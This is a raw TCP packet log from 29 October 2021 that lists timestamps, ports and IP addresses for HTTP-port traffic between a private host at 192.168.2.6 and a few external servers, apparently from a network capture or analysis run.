Oct 29, 2021 17:54:59.375835896 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375864983 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375865936 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375891924 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375909090 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375921965 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375948906 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375973940 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375974894 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.376003981 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.376017094 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.376035929 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.376065969 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.376105070 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.427901983 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.428036928 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.428054094 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429363966 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429420948 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429459095 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429469109 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429500103 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429506063 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429543018 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429584026 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429585934 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429624081 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429661036 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429689884 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429697990 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429734945 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429763079 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429771900 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429811954 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429816008 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429851055 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429888964 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429893970 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.429928064 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429964066 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.429991961 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.430001974 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430041075 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430088043 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.430238008 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430277109 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430315018 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430314064 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.430352926 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430377007 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.430393934 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430430889 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430450916 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.430466890 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430500031 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.430505037 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.477811098 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.481076956 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.481121063 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.481177092 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483076096 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483114958 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483141899 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483165026 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483187914 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483208895 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483210087 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483232975 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483257055 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483258009 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483294010 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483339071 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483362913 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483387947 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483412027 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483422995 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483447075 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483484983 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483509064 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483532906 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483551979 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.483561993 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.483629942 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.486531019 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.539705038 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.418188095 CEST	49762	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.469625950 CEST	80	49762	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.469774008 CEST	49762	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.470056057 CEST	49762	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.470073938 CEST	49762	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.548341036 CEST	80	49762	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.548553944 CEST	49762	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.548983097 CEST	49762	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.600183010 CEST	80	49762	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.677836895 CEST	49763	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.758307934 CEST	80	49763	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.758502007 CEST	49763	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.758733034 CEST	49763	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.758742094 CEST	49763	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.810937881 CEST	80	49763	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.838700056 CEST	80	49763	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:02.838913918 CEST	49763	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.839315891 CEST	49763	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:02.882581949 CEST	49764	80	192.168.2.6	216.128.137.31
Oct 29, 2021 17:55:02.891299963 CEST	80	49763	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:05.884603977 CEST	49764	80	192.168.2.6	216.128.137.31
Oct 29, 2021 17:55:11.885130882 CEST	49764	80	192.168.2.6	216.128.137.31
Oct 29, 2021 17:55:17.514432907 CEST	49766	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.567034006 CEST	80	49766	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.567148924 CEST	49766	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.567290068 CEST	49766	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.567347050 CEST	49766	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.620210886 CEST	80	49766	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.647293091 CEST	80	49766	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.647429943 CEST	49766	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.647768021 CEST	49766	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.700237036 CEST	80	49766	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.714957952 CEST	49767	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.766575098 CEST	80	49767	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.766697884 CEST	49767	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.766813040 CEST	49767	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.766829014 CEST	49767	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.844218969 CEST	80	49767	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.844314098 CEST	49767	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.844587088 CEST	49767	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.872802973 CEST	49770	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.896219969 CEST	80	49767	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.925023079 CEST	80	49770	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:17.925204039 CEST	49770	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.925364017 CEST	49770	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.925384998 CEST	49770	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:17.977725983 CEST	80	49770	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.005929947 CEST	80	49770	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.006166935 CEST	49770	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.006217957 CEST	49770	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.039422035 CEST	49771	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.058501005 CEST	80	49770	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.091501951 CEST	80	49771	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.091732979 CEST	49771	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.092125893 CEST	49771	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.092179060 CEST	49771	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.144237041 CEST	80	49771	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.171102047 CEST	80	49771	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.171205044 CEST	49771	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.172899961 CEST	49771	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.218595028 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.224841118 CEST	80	49771	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.270936012 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.271202087 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.271374941 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.271399975 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.349944115 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350016117 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350058079 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350099087 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350140095 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350169897 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350168943 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.350200891 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.350200891 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350233078 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350272894 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.350294113 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350311041 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.350466013 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.350548029 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.402621984 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402690887 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402730942 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402770996 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402808905 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402823925 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.402848005 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402880907 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402883053 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.402911901 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402955055 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.402983904 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.402987957 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.402997017 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403037071 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403064013 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.403076887 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403114080 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403124094 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.403155088 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403196096 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403228045 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.403234959 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403275967 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403312922 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403317928 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.403357029 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.403378010 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.455909967 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.455974102 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456011057 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456013918 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456054926 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456084967 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456094027 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456135035 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456173897 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456217051 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456228971 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456258059 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456276894 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456296921 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456337929 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456356049 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456377029 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456393957 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456414938 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456453085 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456490993 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456501961 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456530094 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456549883 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.456569910 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.456629992 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.508932114 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.508994102 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509033918 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509073973 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509114981 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509152889 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509191036 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509207964 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509213924 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509248018 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509287119 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509298086 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509325981 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509366989 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509406090 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509440899 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509443998 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509480000 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509484053 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509522915 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509536982 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509565115 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509603024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509641886 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509656906 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509681940 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509697914 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.509727955 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.509774923 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562135935 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562190056 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562232971 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562273026 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562300920 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562316895 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562349081 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562355995 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562396049 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562433004 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562438965 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562469006 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562472105 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562510014 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562550068 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562550068 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562589884 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562627077 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562647104 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562664986 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562705040 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562715054 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562741995 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562781096 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562819004 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562832117 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562860012 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562870979 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.562900066 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562937021 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.562941074 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615221024 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615259886 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615283966 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615308046 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615330935 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615353107 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615374088 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615403891 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615416050 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615422964 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615442991 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615463972 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615477085 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615484953 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615515947 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615551949 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615572929 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615592957 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615612984 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615619898 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615636110 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615647078 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615657091 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615679979 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615684986 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615705013 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615725040 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.615736008 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.615763903 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.667581081 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667628050 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667676926 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.667798996 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667839050 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667879105 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667918921 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667933941 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.667957067 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.667958975 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.667989016 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668029070 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668034077 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668068886 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668108940 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668147087 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668154955 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668186903 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668186903 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668227911 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668268919 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668298006 CEST	49772	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:18.668312073 CEST	80	49772	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:18.668350935 CEST	80	49772	185.98.87.159	192.168.2.6
